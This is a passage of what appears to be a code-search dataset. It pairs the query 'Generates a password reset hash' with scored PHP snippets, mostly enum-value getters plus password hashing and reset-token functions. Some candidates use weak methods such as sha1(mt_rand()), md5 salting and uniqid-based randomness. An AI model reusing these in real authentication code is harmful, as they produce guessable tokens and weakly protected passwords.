self::SEA_POSTAL_AND_COURIER_SERVICES,\n self::AIR_POSTAL_AND_COURIER_SERVICES,\n self::LISTED_SHARES_INVESTMENT,\n self::NON_LISTED_SHARES_INVESTMENT,\n self::MONEY_MARKET_INSTRUMENTS_INVESTMENT,\n self::LISTED_BONDS_INVESTMENT,\n self::NON_LISTED_BONDS_INVESTMENT,\n self::REPRODUCE_DISTRIBUTE_RIGHTS_LICENSE,\n self::PATENTS_AND_INVESTIONS_RIGHTS_LICENSE,\n self::PATTERNS_AND_DESIGNS_RIGHTS,\n self::COPYRIGHTS_RIGHTS,\n self::FRANCHISES_AND_TRADEMARKS_RIGHTS,\n self::PATENTS_AND_INVENTIONS_DISPOSAL,\n self::PATTERNS_AND_DESIGNS_DISPOSAL,\n self::COPYRIGHTS_DISPOSAL,\n self::FRANCHISES_AND_TRADEMARKS_DISPOSAL,\n self::SALES_OF_MANUSCRIPTS_SOUND_RECORDINGS_FILMS,\n self::FUNDS_RELATED_TO_RECORDING_PRODUCTIONS,\n self::SOFTWARE_OWNERSHIP_RIGHTS_SALE,\n self::COMPUTER_SERVICES,\n self::CUSTOMISED_SOFTWARE_SALES,\n self::NON_CUSTOMISED_SOFTWARE_ON_PHYSICAL_MEDIA_PERIODIC_LICENCE_SALE,\n self::NON_CUSTOMISED_SOFTWARE_ON_PYISICAL_MEDIA_PERPETUAL_USE_SALE,\n self::NON_CUSTOMISED_SOFTWARE_FOR_DOWNLOADING_ELECTRONICALLY_MADE_PERIODIC_LICENCE_SALE,\n self::NON_CUSTOMISED_SOFTWARE_FOR_DOWNLOADING_ELECTRONICALLY_MADE_SINGLE_PAYMENT_SALE,\n self::FIXED_ASSETS_DONATIONS_TO_SA_GOVERNMENT,\n self::FIXED_ASSETS_DONATIONS_TO_CORPORATE_ENTITIES,\n self::PROPERTY_DISINVESTMENT_BY_CORPORATE_ENTITY_RESIDENT,\n self::OTHER_BUSINESS_SERVICES,\n self::INSTITUTIONAL_INVESTOR_DISINVESTMENT,\n self::GOVERNMENT_SERVICES,\n ];\n }", "title": "" }, { "docid": "8f4e3a70f3cbe4910e43bf81422d6e77", "score": "0.7647819", "text": "public function getEllStatusAllowableValues()\n {\n return [\n self::ELL_STATUS_Y,\n self::ELL_STATUS_N,\n self::ELL_STATUS_EMPTY,\n ];\n }", "title": "" }, { "docid": "c726cb773ca4b8fda1294fdced12588a", "score": "0.76336175", "text": "public function getToAllowableValues()\n {\n return [\n self::TO_BCH,\n self::TO_BCH,\n self::TO_USD,\n self::TO_USD,\n self::TO_BIT,\n self::TO_BITS,\n self::TO_SAT,\n self::TO_SAT,\n self::TO_SATS,\n self::TO_SATOSHI,\n self::TO_SATOSHIS,\n ];\n }", "title": "" }, { "docid": "36cec4b1a576f5dbabc1a0d82bfdae99", "score": "0.76329374", "text": "public function getStatusAllowableValues()\n {\n return [\n self::STATUS_OPEN,\n self::STATUS_FINISHED,\n self::STATUS_INACTIVE,\n self::STATUS_INVALID,\n ];\n }", "title": "" }, { "docid": "8bef8026eb2309dbd59a09519b5215f9", "score": "0.76295227", "text": "public function getTypeAllowableValues()\n {\n return [\n self::TYPE_NOT_SET,\n self::TYPE_VISA,\n self::TYPE_MASTER_CARD,\n self::TYPE_AMERICAN_EXPRESS,\n self::TYPE_DISCOVER,\n self::TYPE_OTHER,\n self::TYPE_DINERS_CLUB,\n self::TYPE_OFFLINE,\n ];\n }", "title": "" }, { "docid": "1103449e1388776fd33c038a07ce438c", "score": "0.76231986", "text": "public function getStatusAllowableValues()\n {\n return [\n self::STATUS_REQUESTED,\n self::STATUS_RESERVED,\n self::STATUS_IN_HOUSE,\n self::STATUS_CANCELLED,\n self::STATUS_CHECKED_OUT,\n self::STATUS_NO_SHOW,\n self::STATUS_WAIT_LIST,\n self::STATUS_UNKNOWN,\n ];\n }", "title": "" }, { "docid": "faf5b73aac7ae4fb588ddd8ed389b221", "score": "0.7609934", "text": "public function getStatusAllowableValues()\n {\n return [\n \n ];\n }", "title": "" }, { "docid": "ea0fddb003b37debfea3db539f2f6581", "score": "0.7600603", "text": "public function getStateAllowableValues()\n {\n return [\n self::STATE_PENDING,\n self::STATE_ERROR,\n self::STATE_DISABLED,\n self::STATE_REJECTED,\n self::STATE_SENT,\n self::STATE_NOT_ALLOWED,\n self::STATE_NO_RECIPIENT,\n ];\n }", "title": "" }, { "docid": "ef3701335b67f4452443b29cbb6c60d2", "score": "0.7597622", "text": "public function getStatusAllowableValues()\n {\n return [\n self::STATUS_TRANSACTIONAL,\n self::STATUS_ENGAGED,\n self::STATUS_ACTIVE,\n self::STATUS_BOUNCED,\n self::STATUS_UNSUBSCRIBED,\n self::STATUS_ABUSE,\n self::STATUS_INACTIVE,\n self::STATUS_STALE,\n self::STATUS_NOT_CONFIRMED,\n ];\n }", "title": "" }, { "docid": "1c14ca523146dc022d3efb9dc6854987", "score": "0.7596916", "text": "public function getStatusAllowableValues()\n {\n return [\n self::STATUS_LOCKED,\n self::STATUS_NOT_STARTED,\n self::STATUS_IN_PROGRESS,\n self::STATUS_COMPLETED,\n ];\n }", "title": "" }, { "docid": "c3f6bb6b5e43cb1d174689d3b2be984a", "score": "0.7595297", "text": "public function getLevelAllowableValues()\n {\n return [\n self::LEVEL_USER,\n self::LEVEL_SYSTEM,\n ];\n }", "title": "" }, { "docid": "5ea2034471ed4d529be98a89cc7165c4", "score": "0.75858897", "text": "public function getStatusAllowableValues()\n {\n return [\n self::STATUS_ACTIVE,\n self::STATUS_INACTIVE,\n ];\n }", "title": "" }, { "docid": "50417e443d624e9066dee13e04b9a8eb", "score": "0.7581531", "text": "public function getStatusAllowableValues()\n {\n return [\n self::STATUS_OPEN,\n self::STATUS_DRAFT,\n self::STATUS_DELIVERED,\n self::STATUS_DELAYED,\n self::STATUS_VOIDED,\n self::STATUS_COMPLETED,\n self::STATUS_HIDDEN,\n ];\n }", "title": "" }, { "docid": "58bf744e93a8efccf12cead7ae16e8b5", "score": "0.75520164", "text": "public function getFromAllowableValues()\n {\n return [\n self::FROM_BCH,\n self::FROM_BCH,\n self::FROM_USD,\n self::FROM_USD,\n self::FROM_BIT,\n self::FROM_BITS,\n self::FROM_SAT,\n self::FROM_SAT,\n self::FROM_SATS,\n self::FROM_SATOSHI,\n self::FROM_SATOSHIS,\n ];\n }", "title": "" }, { "docid": "926006f16320097266532279c967d102", "score": "0.7551105", "text": "public function getStatusAllowableValues()\r\n {\r\n return [\r\n self::STATUS_ACTIVE,\r\n self::STATUS_DELETED,\r\n ];\r\n }", "title": "" }, { "docid": "7df6a634fd73926a71d6f38d8867a581", "score": "0.7545061", "text": "public function getTypeAllowableValues()\n {\n return [\n self::TYPE_PRICE,\n self::TYPE_RANGE,\n self::TYPE_NONE,\n self::TYPE_OTHER,\n ];\n }", "title": "" }, { "docid": "c7c1de902709848a41bc0fb393618984", "score": "0.7531793", "text": "public function getPropertyAllowableValues()\r\n {\r\n return [\r\n self::PROPERTY_CHINESE_16K_MEDIA,\r\n self::PROPERTY_CHINESE_8K_COMMON,\r\n self::PROPERTY_CHINESE_16K_CONVERSATION,\r\n self::PROPERTY_CHINESE_8K_BANK,\r\n self::PROPERTY_CHINESE_8K_INSURANCE,\r\n self::PROPERTY_SICHUAN_8K_COMMON,\r\n self::PROPERTY_CHINESE_8K_GENERAL,\r\n ];\r\n }", "title": "" }, { "docid": "4453c9fcf8e428e3734eb715fbf6ff6d", "score": "0.75289524", "text": "public function getTypeAllowableValues()\r\n {\r\n return [\r\n self::TYPE_EIP,\r\n self::TYPE_DUALSTACK,\r\n ];\r\n }", "title": "" }, { "docid": "c10e59728d9664bb4f563dfe4204bdf7", "score": "0.75288415", "text": "public function getStatusAllowableValues()\r\n {\r\n return [\r\n self::STATUS_PENDING_ACCEPTANCE,\r\n self::STATUS_CREATING,\r\n self::STATUS_ACCEPTED,\r\n self::STATUS_REJECTED,\r\n self::STATUS_FAILED,\r\n self::STATUS_DELETING,\r\n ];\r\n }", "title": "" }, { "docid": "ab6309936abbde9e57b8729edc429dc8", "score": "0.7525403", "text": "public function getStatusAllowableValues()\n {\n return [\n self::STATUS_PENDING,\n self::STATUS_PERFORMED,\n self::STATUS_EXPIRED,\n self::STATUS_ERROR,\n self::STATUS_DECLINED,\n ];\n }", "title": "" } ]
0fe68b84854209b2286a98375e44c5b3
Generates a password reset hash
[ { "docid": "4e0e5d4032f0aa1a3609f54ceb82d874", "score": "0.74610764", "text": "public function generateResetHash()\n {\n return ($this->getID())\n ? $this->saveProperties(array(\n 'password_reset_hash' => $this->makeResetHash()\n ))\n : null;\n }", "title": "" } ]
[ { "docid": "5f7a4c66b27ae47936d1504fc3d1b5a7", "score": "0.7378954", "text": "public function makeResetHash()\n {\n return sha1(mt_rand());\n }", "title": "" }, { "docid": "cc0e80f05a16757c54ee202e751d5704", "score": "0.73331124", "text": "public function generatePassword();", "title": "" }, { "docid": "76bb9b9c9ae698dc3e300a66af8a9033", "score": "0.7265667", "text": "public function generatePasswordResetKey() {\n\t\t$this->load->helper('string');\n\t\treturn sprintf('%s-%d', random_string('alnum', 16), time());\n\t}", "title": "" }, { "docid": "3f041ff9447f11ce58c6c6a4cd03285b", "score": "0.7218925", "text": "public function generateAccountResetTokenAndStoreHash(): string\n {\n $lifetime = $this->owner->config()->auto_login_token_lifetime;\n $generator = new RandomGenerator();\n\n do {\n $token = $generator->randomToken();\n $hash = $this->owner->encryptWithUserSettings($token);\n } while (\n DataObject::get_one(Member::class, [\n '\"Member\".\"AccountResetHash\"' => $hash,\n ])\n );\n\n $this->owner->AccountResetHash = $hash;\n $this->owner->AccountResetExpired = DBDatetime::create()->setValue(\n DBDatetime::now()->getTimestamp() + $lifetime\n )->Rfc2822();\n\n $this->owner->write();\n\n return $token;\n }", "title": "" }, { "docid": "262f8b8dd947385ed876d2d2606c4aae", "score": "0.71943265", "text": "public function generatepasswdResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "9717d0ca327a49169cd4f61e5fc18ec0", "score": "0.71846956", "text": "private function generatePasswordResetKey() {\n\t\t$this->load->helper( 'string' );\n\t\treturn sprintf( '%s-%d', random_string( 'alnum', 16 ), time() );\n\t}", "title": "" }, { "docid": "9bb89d18ab92671321971ccdd5b2ab55", "score": "0.716313", "text": "public function generatePasswordResetToken()\n {\n $this->passwordResetToken = \\Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "4efed9f8a4f13f0b68f208cbb9c947cc", "score": "0.71505797", "text": "public function generatePasswordResetToken () {\n $this->passwordResetToken = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "86501513aa6239c57601a330691fe5e2", "score": "0.7131785", "text": "public function password_hash_generation(){\n\t\t\t$this->hashedPassword=password_hash($this->password,PASSWORD_BCRYPT);\n\t\t\n\t\t return $this->hashedPassword;\n\n\t }", "title": "" }, { "docid": "eab8e8c1310c1c2b78af87a6dcce2995", "score": "0.7114613", "text": "public function generatePasswordResetToken()\n {\n $this->reset_token = Yii::$app->security->generateRandomString(8);\n $this->reset_token_expire = new Expression('NOW()');\n }", "title": "" }, { "docid": "886ae3453151a9b7032b89ff713283cc", "score": "0.7107714", "text": "public function generatePasswordResetToken()\n {\n $this->Password_Reset_Token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "a0e6e47dbe7ccb73086b55da0540baf6", "score": "0.7105792", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Security::generateRandomKey() . '_' . time();\n }", "title": "" }, { "docid": "a0e6e47dbe7ccb73086b55da0540baf6", "score": "0.7105792", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Security::generateRandomKey() . '_' . time();\n }", "title": "" }, { "docid": "a0e6e47dbe7ccb73086b55da0540baf6", "score": "0.7105792", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Security::generateRandomKey() . '_' . time();\n }", "title": "" }, { "docid": "a0e6e47dbe7ccb73086b55da0540baf6", "score": "0.7105792", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Security::generateRandomKey() . '_' . time();\n }", "title": "" }, { "docid": "a0e6e47dbe7ccb73086b55da0540baf6", "score": "0.7105792", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Security::generateRandomKey() . '_' . time();\n }", "title": "" }, { "docid": "a0e6e47dbe7ccb73086b55da0540baf6", "score": "0.7105792", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Security::generateRandomKey() . '_' . time();\n }", "title": "" }, { "docid": "b3c870655ea74c2e90cb9ccc68e75a63", "score": "0.70966995", "text": "public function generatePasswordResetToken() {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "b3c870655ea74c2e90cb9ccc68e75a63", "score": "0.70966995", "text": "public function generatePasswordResetToken() {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "b3c870655ea74c2e90cb9ccc68e75a63", "score": "0.70966995", "text": "public function generatePasswordResetToken() {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1836f8615bb835b3d80565803dc054d0", "score": "0.7086469", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "0217c9738ad570bd403c1630d77ca3e7", "score": "0.7085891", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->getSecurity()->generateRandomKey() . '_' . time();\n }", "title": "" }, { "docid": "747c455c4c73caf8c11482c4cd8d0e34", "score": "0.70845574", "text": "public function generatePasswordResetToken(): void\n {\n $this->password_reset_token = \\Yii::$app->getSecurity()->generateRandomString() . '_' . \\time();\n }", "title": "" }, { "docid": "c1beb8c479f77f09bb4b927ad9d15e1b", "score": "0.70826256", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->getSecurity()->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "84a1bac3beadfd1b62ec2a88e2b75055", "score": "0.7058144", "text": "public function generatePasswordResetToken()\n {\n $this->password_reset_token = Yii::$app->security\n ->generateRandomString().'_'.time();\n }", "title": "" }, { "docid": "56c46e0d91fcb7dc54dea89238056f93", "score": "0.6997054", "text": "public function createHash()\n {\n $hash = password_hash(rand( getenv('RAND_START'), getenv('RAND_END')), PASSWORD_DEFAULT);\n $hash = password_hash($hash, PASSWORD_DEFAULT);\n $hash = substr($hash, 7, 17);\n\n return str_replace(['/', '.', '#'],rand(1,999), $hash);\n }", "title": "" }, { "docid": "e460a6d297a1554f02b93b70183760da", "score": "0.69867617", "text": "private function _generatePassword()\n {\n return substr(base64_encode(rand()), 0, 8);\n }", "title": "" }, { "docid": "f63ae515c032e3d05f51761276e486e3", "score": "0.6973612", "text": "protected function generatePassword()\n {\n return base64_encode(random_bytes(self::NUMBER_OF_RANDOM_BYTES));\n }", "title": "" }, { "docid": "c3f69c3510a3a35fdb6e2ad0063df82d", "score": "0.6957769", "text": "public function generateResetPasswordLinkToken()\n {\n return Mage::helper('core')->uniqHash();\n }", "title": "" }, { "docid": "f4c61498cf9e5eb1125d0ce34565071e", "score": "0.69079757", "text": "public function generateHashedPassword(string $pwd): string {\n return password_hash($pwd, PASSWORD_DEFAULT); \n }", "title": "" }, { "docid": "8e921db28c2784bd76660cf3da90cd4b", "score": "0.69028383", "text": "function PasswordHash()\n { \n }", "title": "" }, { "docid": "55b4e478dae84fd70709709242a2e5df", "score": "0.68985844", "text": "function generate_hash($password){\n $salt = substr(str_replace('+', '.', base64_encode(pack('N4', mt_rand(), mt_rand(), mt_rand(), mt_rand()))), 0, 22);\n return crypt($password,$salt);\n}", "title": "" }, { "docid": "0afcd27185822110e09e80a7e5b5f6ef", "score": "0.68555176", "text": "public function generatePasswordResetToken() {\n $this->user_access_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "1c454f8491309cb5a76fda95f17e3f72", "score": "0.6853357", "text": "public function generatePasswordKey()\n {\n $this->password_key = sha1(rand());\n $this->recover_date = new DateTime(self::RECOVER_PASSWORD_VALIDITY);\n }", "title": "" }, { "docid": "d74eea471e2d7a6d9221f018062b44e3", "score": "0.6828924", "text": "public static function generate($plainPassword) {\n return password_hash($plainPassword, PASSWORD_DEFAULT, ['cost' => 10]); \n }", "title": "" }, { "docid": "be11d6012e7900d8c3889d281f790f98", "score": "0.68225306", "text": "function genHash($password, $seed='1')\n {\n global $modx;\n\n if(isset($modx->config['pwd_hash_algo']) && !empty($modx->config['pwd_hash_algo']))\n $algorithm = $modx->config['pwd_hash_algo'];\n else $algorithm = 'UNCRYPT';\n\n $salt = md5($password . $seed);\n\n switch($algorithm)\n {\n case 'BLOWFISH_Y':\n $salt = '$2y$07$' . substr($salt,0,22);\n break;\n case 'BLOWFISH_A':\n $salt = '$2a$07$' . substr($salt,0,22);\n break;\n case 'SHA512':\n $salt = '$6$' . substr($salt,0,16);\n break;\n case 'SHA256':\n $salt = '$5$' . substr($salt,0,16);\n break;\n case 'MD5':\n $salt = '$1$' . substr($salt,0,8);\n break;\n }\n\n if($algorithm!=='UNCRYPT')\n {\n $password = sha1($password) . crypt($password,$salt);\n }\n else $password = sha1($salt.$password);\n\n $result = strtolower($algorithm) . '>' . md5($salt.$password) . substr(md5($salt),0,8);\n\n return $result;\n }", "title": "" }, { "docid": "06bf0478485dcd1b89c00132c846565d", "score": "0.68079334", "text": "public function generateHash()\n\t{\n\t\treturn '';\n\t}", "title": "" }, { "docid": "fe1460cd80f5e820f71b5865964305d6", "score": "0.6760509", "text": "public function generate($string)\n {\n $options = [\n 'cost' => 12,\n ];\n return password_hash($string, PASSWORD_BCRYPT, $options);\n }", "title": "" }, { "docid": "51205297b7f07b826786b5f7cf85f6e5", "score": "0.6728094", "text": "function generatePassword($value = '') {\n if($value == ''){$password = $this->hash(date('ymdHis'));}\n else { $password = $this->hash($value); }\n $this->usrPassword = $password['hash'];\n return $password;\n }", "title": "" }, { "docid": "c7d8e5168398fab5c91b8f25acbb7204", "score": "0.668021", "text": "public function generatePasswordResetToken()\n {\n $this->author_token = Yii::$app->security->generateRandomString() . '_' . time();\n }", "title": "" }, { "docid": "086872db8a5b2d223fae9cd07d7d75ae", "score": "0.6659757", "text": "public static function makePassword()\n\t{\n\t\t$pass = \"\";\n\n\t\t// Want it random you say, eh?\n\t\t// (enter evil laugh)\n\n\t\t$unique_id \t= uniqid( mt_rand(), TRUE );\n\t\t$prefix\t\t= IPSMember::generatePasswordSalt();\n\t\t$unique_id .= md5( $prefix );\n\n\t\tusleep( mt_rand(15000,1000000) );\n\t\t// Hmm, wonder how long we slept for\n\n\t\t$new_uniqueid = uniqid( mt_rand(), TRUE );\n\n\t\t$final_rand = md5( $unique_id . $new_uniqueid );\n\n\t\tfor ($i = 0; $i < 15; $i++)\n\t\t{\n\t\t\t$pass .= $final_rand{ mt_rand(0, 31) };\n\t\t}\n\n\t\treturn $pass;\n\t}", "title": "" }, { "docid": "cc7bac413a6566d709b016403780d1cc", "score": "0.6656607", "text": "public function generatePassword()\n {\n $haystack = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz';\n $code = '';\n while (strlen($code) < 9)\n $code .= substr($haystack, rand(0, strlen($haystack) - 1), 1);\n\n return $code;\n }", "title": "" }, { "docid": "cbd67d38a020a4519b0c94fb9cbe14a5", "score": "0.6639539", "text": "function getResetPasswordHash($user_id = null) \n {\n return md5($user_id . '-' . date('Y-m-d') . Configure::read('Security.salt'));\n }", "title": "" }, { "docid": "25e262187972f05d6bc078a9d5709800", "score": "0.66372275", "text": "public static function generatePassword()\n {\n // Generate random string and encrypt it. \n return bcrypt(str_random(35));\n }", "title": "" }, { "docid": "8120c2324ab0b627652f526bb2284ed0", "score": "0.66039425", "text": "function generatePasswordRecovery()\n{\n $recoveryNumber = \"\";\n for($i = 0; $i < 6; $i++)\n {\n $recoveryNumber .= rand(1,9);\n }\n return $recoveryNumber;\n}", "title": "" }, { "docid": "ceb7c8602e5fe471c0f38532f556bab6", "score": "0.66038024", "text": "function generate_hash($salt,$password,$algo = 'sha256'){\r\n\t\treturn hash($algo,$salt.$password);\r\n\t}", "title": "" }, { "docid": "4ef7f610609dd1cef5b015f724a691ae", "score": "0.66035295", "text": "function generatePasswordHash($password) {\n global $config;\n return hash('sha256', $config[\"salt\"].$password);\n}", "title": "" }, { "docid": "17bf1ddbd5e0596637596f73fa54714a", "score": "0.6594383", "text": "public function generatePassword()\n {\n $plain = str_random(8);\n\n $encrypted = $this->makeHash($plain);\n\n return [ 'plain' => $plain, 'encrypted' => $encrypted ];\n }", "title": "" }, { "docid": "e3cda76b51de75d59e90781dfab1ac33", "score": "0.6586439", "text": "public function generatePasswordResetToken()\n {\n // $this->password_reset_token = Security::generateRandomKey() . '_' . time();\n return null;\n }", "title": "" }, { "docid": "735e72c58f75326b3482771cde8a6e47", "score": "0.6580748", "text": "public static function generatePasswordHash($newPassword) {\r\n return md5(md5($newPassword) . self::HASH_SALT);\r\n }", "title": "" }, { "docid": "c3fcac6c86c430f2e97a306873c5f979", "score": "0.65775836", "text": "public function genPass($password){\n\t\t$firephp = FirePHP::getInstance(True);\n\t\t$this->load->library('ion_auth');\n\t $pass = $this->ion_auth->hash_password($password,FALSE,FALSE);\n\t $firephp->log(\"Pass encriptada OK:\");\n\t $firephp->log($pass);\n\t $firephp->log(\"<------------------------>\");\n\t}", "title": "" }, { "docid": "7da0005d50252f1c415a3541c6aa6298", "score": "0.6576527", "text": "public function create_password ()\n\t{\n\t\t$pass = \"\";\n\n\t\t$unique_id = uniqid( mt_rand(), true );\n\t\t$prefix\t = $this->generate_password_salt();\n\t\t$unique_id .= md5( $prefix );\n\n\t\tusleep( mt_rand( 15000, 1000000 ) );\n\t\t// Hmm, wonder how long we slept for\n\n\t\t$new_uniqid = uniqid( mt_rand(), true );\n\n\t\t$final_rand = md5( $unique_id . $new_uniqid );\n\n\t\tfor ( $i = 0; $i < 15; $i++)\n\t\t{\n\t\t\t$pass .= $final_rand{ mt_rand(0, 31) };\n\t\t}\n\n\t\treturn $pass;\n\t}", "title": "" }, { "docid": "7807d75f0db431b4d20751f211ba2912", "score": "0.65607476", "text": "protected function generatePassword(): string\n {\n $this->displayPassword = true;\n\n return Str::random(22);\n }", "title": "" }, { "docid": "a2937cb6c4313a420d571143fc633e88", "score": "0.6555375", "text": "function gen_md5_password($len = 6)\r\n\t\t{\r\n\t\t\t// function calculates 32-digit hexadecimal md5 hash of some random data\r\n\t\t\treturn substr(md5(rand().rand()), 0, $len);\r\n\t\t}", "title": "" }, { "docid": "218d7d05dc3c96751a47815575b98488", "score": "0.65452576", "text": "private function 